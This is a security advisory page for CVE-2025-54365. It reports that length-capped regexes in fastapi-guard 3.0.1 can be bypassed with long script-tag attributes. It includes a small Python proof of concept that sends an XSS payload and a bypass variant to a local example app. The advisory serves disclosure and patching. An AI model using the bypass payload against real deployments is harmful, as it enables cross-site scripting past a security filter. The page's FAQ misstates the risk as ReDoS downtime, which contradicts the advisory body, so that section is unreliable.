CVE-2025-54365: fastapi-guard patch contains bypassable RegEx

Published Jul 23, 2025
·
Updated

Summary

The regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.

Details

In version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS. https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f

This commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below. r"<script[^>]>[^<]<\\/script\\s>" -> <script[^>]{0,100}>[^<]{0,1000}<\\/script\\s{0,10}>

This type of patch fails to catch cases where the string representing the attributes of a <script> tag exceeds 100 characters. Therefore, most of the regex patterns present in version 3.0.1 can be bypassed.

PoC

1. clone the fastapi-guard repository 2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST. <img width="1013" height="554" alt="image" src="https://github.com/user-attachments/assets/cf93ea37-2fd7-4251-abb6-b55f88685f54" /> 3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.

python import requests

URL = "<http://localhost:8000>"

obviouspayload = { "obvious" : "<script>alert(1);</script>" } response = requests.post(url=URL, json=obviouspayload) print(f"[+] response of first request: {response.text}")

bypassedpayload = { "suspicious" : f'<script id="icanbypassregexfiltering{'a'100}">alert(1)</script>' }

response = requests.post(url=URL, json=bypassedpayload) print(f"[+] response of second request: {response.text}")

<img width="836" height="112" alt="image" src="https://github.com/user-attachments/assets/11dcccb2-6179-44b1-9628-ae0a787e3bb7" />

Impact

Due to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.

Other sources

fastapi-guard is a security library for FastAPI that provides middleware to control IPs, log requests, detect penetration attempts and more. In version 3.0.1, the regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit. This type of patch fails to detect cases in which the string representing the attributes of a <script> tag exceeds 100 characters. As a result, most of the regex patterns present in version 3.0.1 can be bypassed. This is fixed in version 3.0.2.

MITRE

Affected Software

2 affected componentsFixes available
pip/fastapi-guard=3.0.1
3.0.2
fastapi-guard FastAPI Guard=3.0.1

Event History

Jul 23, 2025
Advisory Published
via GitHub·03:31 PM
Data Sourced
via GitHub·03:31 PM
DescriptionWeaknessAffected Software
CVE Published
via MITRE·10:11 PM
Data Sourced
via MITRE·10:11 PM
DescriptionWeakness
Data Sourced
via NVD·11:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
RemedyAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-54365?

The severity of CVE-2025-54365 is considered high due to its potential for causing denial of service through ReDoS attacks.

2

How do I fix CVE-2025-54365?

To fix CVE-2025-54365, upgrade to version 3.0.2 or later of the fastapi-guard package.

3

What are the main risks of CVE-2025-54365?

The main risks of CVE-2025-54365 include application downtime and degraded performance due to regular expression denial of service.

4

Which versions of fastapi-guard are affected by CVE-2025-54365?

Version 3.0.1 of fastapi-guard is affected by CVE-2025-54365.

5

Where can I find more details on CVE-2025-54365?

More details on CVE-2025-54365 can be found in the official GitHub advisory and commit history.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203